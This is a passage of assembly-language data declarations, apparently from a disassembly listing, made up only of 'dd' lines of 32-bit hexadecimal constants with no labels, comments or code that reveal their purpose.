dd 4A924CABh, 0FD864877h, 36C10F61h, 531357A9h, 6139146Ah
dd 5F45E174h, 0E81243E9h, 924038D7h, 801325C5h, 108A19B4h
dd 0EE899ACCh, 0C82757E4h, 0EC82F26Eh, 0C754CCBEh, 8C9D8A73h
dd 0C88911B2h, 1707FB17h, 0CE2E71E2h, 0BD7CA737h, 4C4F69C5h
dd 0F8AFF4CCh, 0A1B07E0Ah, 896F3B50h, 40E382B7h, 0CED00503h
dd 497C31DFh, 0F47ED8DEh, 47F20F2Bh, 5D590332h, 41D6673Ah
dd 8D30D44Ch, 698F144Ah, 0F05639B6h, 0CE03AC20h, 66263h
dd 0B72A7B0Dh, 0ED96791Bh, 33D86A0Fh, 0C433AA23h, 4F2D7CAEh
dd 2770BD34h, 4A9A0C58h, 0A224444Ch, 0A9E10C75h, 0C810212h
dd 3FF85DA9h, 53602F67h, 7C871966h, 347AF64Bh, 0DE7629F4h
dd 0B3068410h, 66C6AC38h, 8EA5D54Bh, 47EBAE51h, 87CEE83h
dd 5F9C371Fh, 6264F588h, 0EE0323CAh, 0E3D05CAFh, 976BAFAFh
dd 0CC50EC7h, 5338AB26h, 0EB2C10E3h, 57145F08h, 0D2DED6C7h
dd 0C7A81694h, 0DB62D7D6h, 96F49E08h, 57B77C5Fh, 72907646h
dd 138D4786h, 0A97132D4h, 9E8564F1h, 7659DCB6h, 84FD3968h
dd 5886C521h, 7C8527BEh, 0C9B657FCh, 66A3B19Eh, 60BD3D6Ah
dd 6AC6B5B3h, 0D386F860h, 4CA6F37Ch, 88B25291h, 3A5D439Dh
dd 3A3F8C4Ah, 278F5BBAh, 8DCF36BEh, 0E7A5C649h, 55140A79h
dd 2C9B7A83h, 0C09140A3h, 0E23CBCDDh, 97B7EF2Fh, 0A5097306h
dd 9406E9Fh, 1CA62128h, 39A05Fh, 53401207h, 0A4E28EFAh
dd 0DE46928Ch, 5E68B0BFh, 3315A0DBh, 0D4F203CEh, 5C83A476h
dd 3D62C00Ah, 43909E84h, 19E0B030h, 4F25CF8Dh, 1CFCC701h
dd 0F4FB9AC1h, 5F2B78A4h, 9A7145BCh, 3C315D4Dh, 0AF3B295Dh
dd 3500010Ch, 20CF4ABEh, 0CCB5FF6h, 5D398674h, 901F960h
dd 893328E2h, 75BE6B4Bh, 0CF484E96h, 0EB614769h, 8A4DE9B8h
dd 9642A546h, 0FD5B6BF8h, 7BAB112Bh, 0CC87CAD9h, 97CBB202h
dd 0B7810BC1h, 0FFEB5D03h, 0CB37568Fh, 0B04E07h, 52722BB2h
dd 288129DFh, 41A73A7Eh, 311CAADDh, 9D71CF7Eh, 877E1B10h
dd 0BE26C850h, 0EE0E536Bh, 5CAA3A26h, 0CAB14E16h, 0FC8671A9h
dd 3E04B197h, 0BADC7E7Bh, 0FE06212h, 0C0409E47h, 675FC17h
dd 0FC470E06h, 67A61332h, 76A69362h, 5081773Dh, 69FB7358h
dd 905CC6EFh, 7E9F2008h, 516B0FD1h, 4A21D16Ch, 0F81B1041h
dd 9007FCB5h, 224B0214h, 0FAFE7F53h, 6F3306BBh, 29A31F16h
dd 7CE5A5ACh, 4361439Eh, 57A0E77Fh, 0BBEECE2Dh, 27DF271h
dd 0B65D703h, 0AC08E0E9h, 8A555833h, 5762FC22h, 769BEB8Eh
dd 2429B88h, 0EC8A4DABh, 79443ECFh, 4CE37093h, 0C62888C5h
dd 1714B5F5h, 0A57176BCh, 6009907Eh, 0BCB37965h, 0EB06DEBAh
dd 0FBFC258Fh, 64380B5h, 66A91827h, 0EABE1BAAh, 0D184EF5Dh
dd 13BA1207h, 1E554BD0h, 0F4760ECEh, 44308705h, 0D58FB5C5h
dd 860B843Eh, 0CE1BCA90h, 7B95F15Ah, 2AB4CFF1h, 0F4A44970h
dd 316D76DFh, 1071BC95h, 0C6018B92h, 1B3C198Ah, 0B06D3E82h
dd 977F6408h, 0CB213DD2h, 0F5200E12h, 0DCBCAC24h, 0F6EB7FF5h
dd 68489C52h, 0FA07A8B0h, 6FD85F81h, 2680F25Eh, 0DC81D181h
dd 0DA14B0C1h, 6EB857CCh, 26D16634h, 193999F8h, 0D78B4AFCh
dd 8F2D25EEh, 0A450D74Bh, 0F40E06B8h, 48C2768Fh, 851CCD3Eh
dd 0FC554DE0h, 7AA70BF3h, 9FB62E9Eh, 0B3D015F7h, 5DC5D2EBh
dd 2B5E482Fh, 0E1EFEAC0h, 518C01E5h, 794F93C8h, 0D72EAF02h
dd 0DAD6842Ah, 0C3ADAB47h, 85474352h, 6880C724h, 0D7B70290h
dd 1431B413h, 77256D88h, 4B25C6D5h, 11BA466Dh, 14AF2A46h
dd 6FB6C333h, 4C8B18A1h, 0D033BCD6h, 5DF99509h, 72BEC7D7h
dd 0DCB761A6h, 0CA687B21h, 9A5B458Fh, 605BF6BAh, 5FF06834h
dd 0B2EE9850h, 0D45E5871h, 25750BBCh, 7094B584h, 54EDC79h
dd 91A78B9Eh, 7635221Dh, 0BAB00BDh, 9A75F699h, 63240480h
dd 0C7CCB417h, 90906B47h, 56A52A88h, 0D30F007Ch, 0BC6E9A2Bh
dd 0FA2A3913h, 90B23014h, 4A086ED7h, 12E4158Eh, 1F3ED707h
dd 4FCBF620h, 0F8EA9692h, 8E53F6D3h, 0E54EE16Dh, 0C0BCA2D8h
dd 9303B2Eh, 5811E278h
dd 50606659h, 91A60652h, 0CB7B5016h, 4DDF89Ah, 13F73CE9h
dd 625C2764h, 55EC17FFh, 505CF329h, 0BBB08h, 0D6099EF6h
dd 0AAA8951Fh, 0DD43406Dh, 0A088F9A2h, 5A4382D6h, 40713319h
dd 71416604h, 442CC480h, 872B6FD5h, 0D9A1A8Dh, 7BAD4DE8h
dd 962E6C7Fh, 9EE14947h, 0C1ED66C0h, 1DAEA434h, 0E094F685h
dd 2A09AB3Fh, 43B319BAh, 17DCB448h, 6BA49A13h, 7D637FFCh
dd 0FE7B3B00h, 0E9989D2h, 0AC73351Bh, 9F0F112Eh, 229F7B80h
dd 0D51C3A5Ch, 0B019DE2Bh, 0AF3FEF2Ch, 5DACDE03h, 4122B0ABh
dd 58083D6Ch, 0C046713Dh, 0FE592444h, 7DA23941h, 8BD2E5E1h
dd 9BFA9871h, 5F464A10h, 8AC2880Fh, 91AFE0FDh, 31214C44h
dd 8F2D489Ah, 0F9AB224Bh, 83E449EFh, 4D35F171h, 0EB9F477Eh
dd 2A0522DFh, 958AF4FCh, 7093571h, 85C02641h, 67C98B4Fh
dd 0CA5604F3h, 0D60A6967h, 89AEF4BDh, 7569BCE5h, 59CB89A5h
dd 0ECF2E49Bh, 20FA43F8h, 7636C7CDh, 0FF97BDBh, 0D0EDFDDCh
dd 0CA629B98h, 7CDD996Ch, 0AC9971EFh, 5B76AE7Ch, 0ABE60ABEh
dd 0B41B73A0h, 10CCD828h, 34130023h, 373D11AAh, 88A62FCAh
dd 33061D40h, 0BA1B0EAh, 0AE8E9BABh, 4F823485h, 363AA6EEh
dd 6CBC0C5Bh, 0B1936B49h, 52180F76h, 7E29C072h, 7C0B7D14h
dd 0C1A4C489h, 0F857543Ch, 0ABA45FC6h, 8B22563Dh, 0C5A69861h
dd 0A63C332Bh, 9C995516h, 0C7565227h, 8F8248CFh, 0E6BC6F3Ah
dd 0BD930730h, 271BBA7Bh, 2F2FE094h, 8838A098h, 17CB08BCh
dd 60E9C2A4h, 0B48E926Eh, 6C58A54Fh, 51F7E632h, 0CE0FA177h
dd 0BBB94A81h, 0B45C22h, 9E8B8CC7h, 57B84084h, 2DA6CF55h
dd 1EBF2EA9h, 0A9377FA7h, 0CAF7736Ch, 0B820353Ch, 127D4E24h
dd 0C33E2571h, 0B8853592h, 1F54E40Fh, 59568F11h, 3DF53F55h
dd 0DE68BFB8h, 0D5FB86A1h, 0D5C9A54Eh, 7F482309h, 9B46B8DFh
dd 2EFD7723h, 0CB137506h, 5593417Ah, 0E5E6CA10h, 77BFC6D0h
dd 0A2E73BD6h, 0CE5B1918h, 6AB9A800h, 6E84C535h, 0EA094C67h
dd 0B27150CEh, 75ECAC29h, 2A750A32h, 0DF543636h, 0C538769Eh
dd 6EF30898h, 2E4DF54Ch, 22797ED5h, 872D4E54h, 0CF233E9Ah
dd 924BFCFBh, 504728EDh, 0DB970EE3h, 518C3907h, 1C29B768h
dd 0E306909Bh, 2060582Fh, 12D64729h, 0C17EF255h, 0CBE1B914h
dd 3363EA86h, 1EE3AC4Bh, 0E00475A7h, 844004C4h, 0A44BEA0Eh
dd 3429F0B7h, 2A55FE96h, 2AA1827Ch, 88C406h, 0A627DD72h
dd 0E494F175h, 4200F881h, 0F72DB856h, 0D660106Eh, 53703511h
dd 37688185h, 9C654D55h, 0CBEAE492h, 77F89A6Ah, 0EF5C166Eh
dd 181D0F42h, 907D0730h, 8D0FDA5Fh, 0DC293C80h, 0DFA4C9DEh
dd 0D9272768h, 0CF403854h, 0B3A8B744h, 0C412A7BAh, 159C3C59h
dd 985A6AF2h, 0F7C826DDh, 0BC7FD85Fh, 0CD3641E8h, 8386F6D6h
dd 56FA5638h, 0B6ED65D5h, 8432E2B5h, 3BA606A2h, 5E7FC1F6h
dd 349B8236h, 6974EFDAh, 6DB6AE2Ch, 0D9554467h, 2A950E56h
dd 0C7F3DF98h, 0E1D24070h, 5631FDE6h, 85F9507Bh, 0F0147BB9h
dd 2B574546h, 1525210Ah, 27036B14h, 686C55A3h, 70987A60h
dd 4B8F4A60h, 0E0F8797Ch, 0D4A45AEBh, 8A44D19Ah, 6978C721h
dd 3562C385h, 0EAADC417h, 4BF8125Dh, 2DE46B12h, 914F5308h
dd 14DF2CCDh, 43A361D8h, 1CD521BEh, 67414084h, 5B7A7D9Ah
dd 0C91B6795h, 90FC9DD7h, 0F42A36EDh, 0FDF7C677h, 0DCEB89BEh
dd 3B14E170h, 3C9C0388h, 17E8D3B7h, 0E0F4CDECh, 434E1405h
dd 0DAB5FEAFh, 154FE5B2h, 0E11A26CBh, 0A9E7AD98h, 5E125FF0h
dd 5C688F58h, 8E0D63EEh, 0B0B335EAh, 772BABEFh, 0B2324D4Dh
dd 48D1FBA8h, 63A74221h, 1CB3A18Fh, 2D2A4953h, 0ADD6F8C9h
dd 1A091664h, 868BCF44h, 9989DD6Dh, 0EA9B4C6Eh, 0D3B1961Ah
dd 201D1CB5h, 0C83DA266h, 0BC5BC570h, 9E749A1Fh, 0E02BD565h
dd 3A5DB691h, 6757C821h, 21D8DD20h, 0F56FA99Eh, 0C9F7AC00h
dd 0C7649337h, 6C194C67h, 43E44750h, 2476EB41h, 7D8875CBh
dd 603C97CEh, 74777EF6h, 32730842h, 150D58E8h, 384333B4h
dd 3A9C9344h, 40454FB6h, 670A37D7h, 950BA7D2h, 90132310h
dd 0A20E778Bh, 6FC2FE6h, 6DA0E001h, 54BA9CA4h, 7767817Ch
dd 52D59B27h, 2240F6C7h, 9BE2907Ch, 5D6F3126h, 0EBBDA784h
dd 5A7FB2B6h, 2E572BAEh, 8BAF8547h, 0E52DF87Fh, 1A19905Ah
dd 0E099EC40h, 691DB982h, 90DB50BBh, 0AC47CC57h, 7A0C0D9Eh
dd 9FD95A55h, 0C6F17946h, 4D7E6A5h, 74A2408Fh, 84A7F0F4h
dd 0E9A3BC59h, 0E66E6F9Bh, 36A752C2h, 0C32D5933h, 2B3FC045h
dd 0F93DBDFBh, 0A18027Bh, 547F544Eh, 58A2D319h, 141306Fh
dd 0E63BFD02h, 521FD6B4h, 0BD86958Ah, 0AA9E8CE6h, 13DD438h
dd 0C0389099h, 9D7F440Dh, 89A66415h, 7F59DE4Ch, 34545465h
dd 0C1DC4FA0h, 0F9B006A1h, 86FBCABh, 188AE4B2h, 0F588A523h
dd 0AA15DE8Bh, 86CD6C66h, 0EFEDEBEDh, 515AC713h, 0E4D48E50h
dd 0C0673F72h, 0CBCDDE41h, 0BDA7A539h, 0C49D696Fh, 0C05AFAA2h
dd 72E36D88h, 5DEBDD82h, 9EE864CEh, 0E92E6D64h, 4A9B3A1Bh
dd 31E9892Ch, 0BCA87C83h, 0BDA6EE4Eh, 66903A83h, 90A76476h
dd 543FEFA3h, 0E893D8C0h, 0E381D0CBh, 26B47F38h, 6D4EAF77h
dd 0A193D001h, 5396239Ch, 1A1F8593h, 841AC401h, 916D9BBDh
dd 71A2EC00h, 66D005F8h, 97CC9F5Bh, 262878E9h, 5D9BFE1Fh
dd 4A29DACEh, 412CF756h, 7D62C083h, 5308F075h, 70018837h
dd 40ECF608h, 5AE0788Ah, 9DE940CDh, 0D136567Dh, 0DBF2E9D4h
dd 61B82692h, 0EEB42E5Fh, 945936BDh, 4400D178h, 0AB0F7A64h
dd 572AFDA6h, 8767A0FFh, 0F79D5C88h, 71F92519h, 59360206h
dd 16F34CEDh, 8EB405Fh, 2B288F76h, 0BDF5257Eh, 0C391F63Bh
dd 0F33A5BF3h, 18A6C4D6h, 16597129h, 996AAC03h, 4DFB657Ch
dd 4C9D344Bh, 0E5006F24h, 3BBA4CC2h, 0B9742C96h, 2B89090h
dd 9CA3EAA3h, 0A475C385h, 0DE13A311h, 0E0306776h, 80CADE50h
dd 0CA605033h, 55A51F5Bh, 1042CF44h, 0E7B331CCh, 6057974Eh
dd 68153552h, 4857AE0Ah, 0A1FAFEE2h, 78984026h, 8931C06Eh
dd 0CF1E2DD7h, 64EB1CE9h, 0F510AA76h, 0DC2C7E8Dh, 28D23F64h
dd 0DF690946h, 0A1CF787Ah, 7B6E7078h, 0B35FB7D2h, 0E4B7AD5h
dd 88FAE207h, 0C6E3CD1h, 914DFAF2h, 0AF8C5C2Dh, 0C0AF2DD1h
dd 36E4C654h, 90A17A28h, 783F5D2Ch, 0A513DC12h, 53F45A96h
dd 0ECCE819Ch, 0DBFA86D3h, 182754E9h, 1565FA25h, 0AA561BE3h
dd 215341D2h, 0EF77CF23h, 0E87C0D19h, 0C662AA81h, 0DA0FB4F2h
dd 7D63200Eh, 0E083FE69h, 158D734h, 0A7D9B3D8h, 5D195EC5h
dd 0CA37BED6h, 0EB34B21h, 330F17EDh, 0B46D912Fh, 0D51AC711h
dd 3BC4B99h, 27F2AC86h, 91FF01Eh, 0EE3D16A3h, 4E8C618Dh
dd 0BDCBF425h, 0F2752733h, 2DBBA4CBh, 20047CD8h, 806C5E2h
dd 0D2E5AA30h, 0DA428C81h, 544CE8D8h, 0FBD3E3CEh, 41106570h
dd 62F13763h, 0F637B809h, 1213D2CEh, 0A8E42100h, 0AD4FC751h
dd 54E336A8h, 0E4158C90h, 0F27E90D4h, 655DCA97h, 8CD0F3C8h
dd 71615766h, 0BCC54736h, 0C0AC8624h, 0B58B18AAh, 0B15BC5BDh
dd 0FB34379Eh, 45A0905Eh, 0F86ABFF5h, 56E08E14h, 5E9E780Dh
dd 0A93CA5C6h, 101A0F2h, 6F436510h, 8B430BFEh, 0F7E1E2FAh
dd 0D9E555ADh, 755219E1h, 1293BE5Fh, 905C5F5Ah, 4BE570E5h
dd 0B75FC6Fh, 928AB8C5h, 2B6DF75h, 54703F48h, 0E90A5BE9h
dd 0B51499E7h, 8A70EACh
dd 0E873FC30h, 0A5D4E238h, 19C88DCDh, 0FA7DCAD3h, 414BD75Ah
dd 2F3D8060h, 0C193D316h, 0B0CD2FBEh, 22864031h, 0B087609Dh
dd 0F9D871ACh, 0D4A9374Dh, 24FC9C9Dh, 2184EB2Bh, 0AE96BC22h
dd 0E1F70859h, 6F101661h, 9D189DD7h, 3B144C47h, 0DA0CA143h
dd 4473007h, 46EA1CF0h, 91D636E7h, 0F04ADF2Eh, 9B474D3Ch
dd 5F11E5C5h, 0E4850246h, 9A7D5C69h, 2408A88Bh, 0CDD83671h
dd 4866E183h, 48016BBEh, 573AD186h, 3ED6F54Bh, 8BD6AF7Eh
dd 0BCFDA4ADh, 0FDF322D8h, 55137036h, 0B0CEE530h, 0B53EA171h
dd 85513972h, 5119A39Dh, 0B958E2CBh, 0C35D7D82h, 0DF7D3C49h
dd 8E3E4387h, 565B5F71h, 2A679C47h, 6569464Ah, 6BE4D3CCh
dd 0EF4E5A5Ch, 90410706h, 75A9B48Bh, 45FA9743h, 0A1B19E83h
dd 20C03949h, 95AC578Eh, 7DCA6291h, 2A15C711h, 6C70D31Bh
dd 62E1AA72h, 5952B7BDh, 0D11D8BC2h, 5FC9D2F0h, 88B253A2h
dd 566FB15Ah, 0D9051D6Ah, 34E9347Bh, 1721983Bh, 4B1E47CBh
dd 0DFA1FF57h, 0F2CB5089h, 0C8ABA53h, 32E47157h, 0B801E36Dh
dd 0E69E60D6h, 3702B5Bh, 0D0E78839h, 6E59C510h, 0D111E336h
dd 226B2771h, 0BD1CB06h, 0B438A9D5h, 82BE17DDh, 0C19E3074h
dd 7C564C99h, 3217E7D8h, 356D08Eh, 8E149AB0h, 0C7A37CECh
dd 6F5A50D1h, 82C2B040h, 6025AA11h, 241F865Dh, 0BAAE5ADDh
dd 56A8FD30h, 92FA08B8h, 52B61C8h, 0D89A7900h, 0EE5E8D1Ch
dd 0A1CB874Dh, 23986CFCh, 75953BE8h, 7785050Dh, 0F6CE25AEh
dd 1BE8FC4Ah, 8A421601h, 2E805594h, 0EE1726D9h, 1D3E83A9h
dd 856906F3h, 4FF66086h, 879486AEh, 0A8DB8E6Ch, 8452811Ch
dd 0A0498F0Bh, 0F00A9865h, 4D2B6966h, 0A2AC521Ah, 0EEE1E1ACh
dd 1883CA6Ch, 36058443h, 0C711D3F0h, 325C5DAh, 0FD7A447Ch
dd 7D6B6F12h, 0BB53BB03h, 779CCC8Bh, 540638ECh, 9518A98h
dd 0B9D5DAFFh, 30BA37B6h, 7EE147CFh, 0F234B244h, 9AAE828Ah
dd 3DDEF4B4h, 763BE5DEh, 70565C9Fh, 0C54606F5h, 29EC9BB5h
dd 9285C3C3h, 5B7A6CD9h, 74DF9429h, 0C240C0E5h, 873031F6h
dd 765D895Bh, 0D06AD728h, 5F30D17Eh, 1F0813F7h, 0FBB6BAFFh
dd 7C2B85h, 947AF248h, 3DE8335Ch, 0ABAB1EB2h, 0E75965F8h
dd 4C4B37A7h, 420DF508h, 132AF8F4h, 9396327Dh, 284CB9F0h
dd 0EE53F9B4h, 0BBD27F9Eh, 179079DEh, 3A76F6BBh, 5AC455DBh
dd 3753FD53h, 4EB17C21h, 0D1358AB4h, 645B3540h, 84C923ABh
dd 0DEC4C2D1h, 508222B9h, 481FACF3h, 0DD010A9Fh, 0D1551BA3h
dd 0C28BAA59h, 9A94DDA6h, 90179E7Fh, 1383127Dh, 7E62CB13h
dd 32AE1011h, 7464EBCh, 1FB65B41h, 0C9CE25F4h, 0DC58B9EBh
dd 0DDE4A0E7h, 838B4086h, 646101C7h, 0AEE0F5ECh, 178AA3DFh
dd 3BBB923Dh, 6F9C23D6h, 0A32001DDh, 1B31E3D8h, 0E8FE6FB4h
dd 8031B3Eh, 3E180869h, 0CB9C4C6Fh, 4D876066h, 0E13A7242h
dd 8392D826h, 9E7ED40Ch, 11BC4251h, 0AC9E014Ch, 71D632A1h
dd 598AF9D7h, 0DC998068h, 5316488Ch, 6C47AD4Ch, 6A8FF8Bh
dd 55D1A12Eh, 6D0E9634h, 54D5CFBBh, 26DF8F6Ch, 643A2650h
dd 0E1417CB8h, 773DCA89h, 33D62A58h, 0B9F8883Ah, 0DC7C98E6h
dd 0FAE3F17Ch, 0FC4E0502h, 1B16EDFEh, 60C10DB9h, 5F0963D5h
dd 375FB330h, 64315CA0h, 0C19B9B9Ch, 29A2C49h, 979A4CB1h
dd 0C3D9AE8Dh, 5EF067Eh, 0BF43B0CAh, 0D0FB20D4h, 1E2B63EAh
dd 0DACFD6BAh, 6157F09Ch, 0DC391597h, 32A646Eh, 0AD1144DCh
dd 74ADBF78h, 7065488Bh, 0EC09CA80h, 21C4687Bh, 7073BB26h
dd 0F8E30DC0h, 0CDBA04D1h, 0E403FA07h, 209D360Bh, 3FBEAC2Bh
dd 48E80DC1h, 5B1F3D93h, 9C51A01Ch, 0C2B08682h, 4A347219h
dd 5EAF9ACh, 452B1099h, 0DD060E98h, 0D1ECA12Bh, 785FD85Ch
dd 0A85230FAh, 8BB6A700h, 0C3E926E9h, 15ABF5Ch, 8CD78972h
dd 307E774Eh, 8BD22CA5h, 8451B4DAh, 0AF5D2AE3h, 0D8F8155h
dd 0E52161A9h, 531589C7h, 4E2D13CFh, 9818094Fh, 0A60369E1h
dd 2F3B15C6h, 37498F8Fh, 0C7555CECh, 0E54C1E15h, 0B41CFD4Fh
dd 8A960DB6h, 89641473h, 23C24D31h, 0F222FDAAh, 0AA56F277h
dd 34EDD888h, 0AF13E8EEh, 1AF2AFEh, 0C1C1DEF5h, 0B13377A5h
dd 0E123C30Bh, 0A907F2E1h, 0E534F317h, 5120382Dh, 0BFC017C5h
dd 0D267E5F8h, 0AB08349Fh, 2EFC0411h, 8F6083FEh, 5B10D6FCh
dd 0C48E9C15h, 2B453C90h, 422721D5h, 4E324113h, 0FEE05193h
dd 0A0D56064h, 0A34EE70Ah, 86306BFEh, 27060400h, 0B4F266E1h
dd 61851066h, 2EAD6D33h, 0B239F8DFh, 0D7099CDh, 93B12878h
dd 9ED3AAB6h, 5BA45577h, 0BA7A52EBh, 0DA452A5Fh, 0E6ACDA94h
dd 6C4E9D0Eh, 1F9205FAh, 56BB746Dh, 15BF3EEBh, 0AA11A544h
dd 737D728h, 0CE09440Bh, 97794E71h, 0B6ADD3ECh, 66CA305Fh
dd 50580F02h, 61DC32D0h, 0CA145B9Dh, 0B9AD661Ah, 29CAB373h
dd 0C1F47033h, 11059B70h, 8197AF6Dh, 0B56887B0h, 0B89A1C00h
dd 9372FC6Ch, 557A99D5h, 6A722E21h, 65DAE65Eh, 0FC5E3866h
dd 98089A66h, 2DFEFAE0h, 2E80BDF8h, 2ECD46A2h, 51FE4483h
dd 29A30164h, 7DD224B4h, 21A3F2B5h, 34547166h, 40133EFFh
dd 3C8E6F95h, 46923722h, 760C50CFh, 0F9028CBDh, 0DCC7B391h
dd 7317EF57h, 0B51F051Ch, 93F6F6Fh, 0B269071Eh, 0C7A13C2Ch
dd 3956BBCCh, 0F975BEC6h, 0A100B68Ch, 79C52F47h, 0A19CDCE4h
dd 0DE7F623Dh, 7986D567h, 76D9D84Bh, 38B906AFh, 0E6B4A059h
dd 0A31FEC8Ch, 3BC3E133h, 78700679h, 1EA17AF2h, 59CB428h
dd 0E3BC1E5Fh, 0F1F05E3Fh, 0DA28CA33h, 6ED11E9h, 33000E9Bh
dd 0A7BA775Eh, 132453AAh, 0A4CB1FC0h, 0F8E5E06Eh, 2348E9C1h
dd 0EF944DD0h, 75D12B62h, 5CA0C790h, 0CE80E8C7h, 0ED590F25h
dd 0F2662C01h, 75113F73h, 0E5D60D7Dh, 8E92F9EDh, 0C7EE8E0Bh
dd 0BAE4CE54h, 59C7DEEh, 23F2149h, 82319566h, 0F7941E4Ch
dd 68EFC847h, 0F8EDA851h, 7EAEFC7Dh, 8D9974B2h, 0B17037D8h
dd 14A25BA4h, 6DEE8EC0h, 59B1B7DCh, 0AC53EA05h, 54EB403Fh
dd 0A53CB299h, 417C7812h, 0D6262F69h, 430E8F42h, 0FE4E4059h
dd 5D157C02h, 948E71FEh, 3A8AC9BCh, 0D39A919Ch, 3AE8EAB7h
dd 40D53C6Ah, 0B7760F70h, 0E2B14111h, 0F177ABE4h, 65B5584h
dd 3AA34F80h, 0F7D5016Eh, 374BFD5Fh, 0EA14B71Eh, 1404ED9Bh
dd 0A82FFF3h, 0E3FBEA9Ah, 29571A37h, 11D76Fh, 3EEBEEC1h
dd 0CABC6FFAh, 65433AE8h, 0CBECC17h, 46F888F9h, 0AA4E32EBh
dd 947B05EDh, 0EE4D2826h, 3120B507h, 0A1A23D1h, 3CB78DF0h
dd 286C71FDh, 0FB122770h, 9485C0EBh, 1ACEF264h, 2D4B1B6Dh
dd 0D5066667h, 59D0398h, 1A15B424h, 2DF8466Fh, 3B99406Bh
dd 67A91536h, 0A7E72E58h, 91D406B2h, 0F02AAC22h, 0B4A83CCCh
dd 4F86E0D5h, 438CBC58h, 0F0BC4EEAh, 847CF9B5h, 78ED4EFFh
dd 0D05D7AF4h, 8C44222Ch, 4EB479CBh, 81666698h, 0EF3171F1h
dd 5144F64Dh, 582DABE6h, 76C98259h, 65FC93B9h, 0EAC0B14Ch
dd 90C1129Bh, 4CF4CDE6h, 672C6639h, 9DB0E878h, 5167EF69h
dd 73FECCF2h, 0FB586299h, 73748539h, 0B2CA2CEh, 7CD7859Ah
dd 0C2DE025Fh, 0E5F6C552h, 88C2F328h, 11C2A81Ch, 5D231B49h
dd 2A0EDD01h, 458455DEh, 58D883E3h, 6EF40011h, 571D20AAh
dd 0DD2A68F0h, 0B5C15079h, 0C351921h, 28571701h, 0F8C31B27h
dd 3F885ABFh, 0E8406D54h, 8BCB3BC5h, 77E3362Eh, 0D87BD5Fh
dd 1D6806D3h, 0BD670748h
dd 0BF52EDD9h, 769CFDDEh, 0BC0F68CDh, 900EA008h, 5D33D6CDh
dd 0A8D9A779h, 0A86E66C0h, 1DD9BBCBh, 0E49CF09h, 3D65BBD4h
dd 0B59D8BFEh, 5AE047ACh, 3B173AABh, 6EB012D0h, 54A87106h
dd 0DF7F1CC1h, 1ED44249h, 8CE7F24Eh, 68480548h, 6995D87Dh
dd 0C9A6E2FDh, 0B63B56C4h, 6427359Fh, 34D4CE50h, 0B91C1749h
dd 3506D9F1h, 0E139D174h, 52BE865Ah, 60513840h, 0B3C107C0h
dd 5BA45FACh, 0E8A50524h, 0E6F8D77Ch, 3A38DD33h, 99C7FB61h
dd 0DAD4CE70h, 19CE5E3h, 0BFDA2A4Fh, 0DC3D26D1h, 0AF1F901Fh
dd 0C0E56400h, 0D3689691h, 3DEF8DE4h, 0A1613E80h, 0E448FB20h
dd 0CA76A164h, 8D26DC12h, 0BF11E32Bh, 4D0D97C9h, 0FACD934Bh
dd 0F066C711h, 245DC639h, 4F890EA5h, 0A0B43186h, 6C92920Ah
dd 0F6602F5Eh, 60A4B6BEh, 4EB978F7h, 0B0B024E5h, 31D7FB40h
dd 0BD1B9CE7h, 0A42B9841h, 3A7F58BBh, 0D45897A8h, 5F7ADBC3h
dd 0BA10265Eh, 0E16C5607h, 793FAD3Dh, 0DB2FB746h, 4B427E1Eh
dd 3FA231E6h, 969919A2h, 0CF9E78A4h, 333D5FFCh, 0FCF0A6EBh
dd 0EA5A5512h, 0A955054h, 7FFF4C3Ah, 0EAE4E4A6h, 0F231CC7h
dd 72918C75h, 104BBA06h, 9F7FF3A7h, 0BDB045A2h, 3F825C7Ah
dd 0E4573E7Ah, 0F4DC9D83h, 7E23BCC7h, 62833B5Fh, 17FB500Ah
dd 8DE4FCD7h, 5D833ECCh, 0B73C67EEh, 0EEF27CBFh, 765BC19Ah
dd 0DF749820h, 0EB9168F4h, 0D6260A97h, 23A3C12h, 0D9419076h
dd 8E1E0180h, 0E2388C80h, 0EBFE9808h, 0D7B355h, 2F9D3147h
dd 84334342h, 0E213CAC4h, 7798BEAh, 56908022h, 25169F61h
dd 298762CEh, 56E95E00h, 0F014B262h, 0B54BBBA5h, 727610FDh
dd 7F043AF5h, 0A50A92E9h, 2119F7B9h, 1FA88797h, 5F3228D4h
dd 973D38A7h, 0E634E3A7h, 0EF8BC9F5h, 9CF67DCAh, 604511F8h
dd 0AB8C87F1h, 856612A9h, 0F43C0332h, 3E3A925Ah, 62E244E4h
dd 8C03B4C9h, 0D48580DCh, 25A82E85h, 5A30EE54h, 2F3787A1h
dd 564D6458h, 794ED057h, 14DCFABFh, 4266378Ah, 7C18112Ch
dd 5C317D44h, 97D1E9DBh, 55DC77FCh, 9BBA317Ch, 0E3539233h
dd 0A850D189h, 0EACA4BCAh, 4CEF8681h, 0B1910BAh, 0C552BEA2h
dd 4E85C92Bh, 47A114FEh, 4B278EACh, 5134874Eh, 7EA4D941h
dd 18372EE6h, 24E30E03h, 0F80E118Fh, 0A0B32F9Eh, 0C263BC95h
dd 0DA76654Ah, 424927DFh, 56825F0h, 429962ADh, 0EA3D4F7h
dd 1BFB6BFBh, 0E3F6CC18h, 3C8758C4h, 0B5F5F1B1h, 305CB8B5h
dd 11DB2160h, 1E2BDE17h, 9404C06h, 0A6E2E553h, 801D1B2Fh
dd 159102A8h, 8731DD8Eh, 6B4EB34Fh, 4EC2F93Fh, 65A4D381h
dd 60767E0h, 0F24BE4B6h, 0D00F9908h, 0C68E6B8Fh, 2F43850Fh
dd 2621C5C1h, 56D9F672h, 97AD762h, 404EF54Bh, 726E47D1h
dd 0A6BCA756h, 0DE7D2BC7h, 28CE1B49h, 15C7621Ah, 9F150898h
dd 0F9ED9601h, 1C1A7F57h, 0ECCB52E6h, 20334D10h, 3F06BCD7h
dd 0EBAE8FBFh, 1D2810B0h, 79111EAh, 5543B7BFh, 0A60A3116h
dd 0B1505610h, 1C372683h, 0F5E87F37h, 0A4FD8B6Bh, 8E646C24h
dd 0DDD3BFA8h, 777513D2h, 0E949BC1Dh, 0AE3B5E78h, 0BFE146C0h
dd 0B09B6140h, 0D50C2A49h, 0FD2ACBEBh, 1060B413h, 0BCB9DFF6h
dd 0E1C4E686h, 1A9FCA47h, 91A7844h, 53DCAB7Fh, 5CD11572h
dd 0B4360B91h, 0A4E36F18h, 0C05DD2A8h, 0C667ABAFh, 0B64AECE6h
dd 53894883h, 35E6C3FEh, 0A1303508h, 0DC236504h, 43310913h
dd 2351994Eh, 293DF3B8h, 6C8BC699h, 0A7787E72h, 5F1D2E87h
dd 0AA332F3Fh, 6938B358h, 20AD76DCh, 915B6619h, 0DE0C9752h
dd 9752C37Eh, 0C099E1AEh, 0D8A922BCh, 0C9B3EFE5h, 87A9940Bh
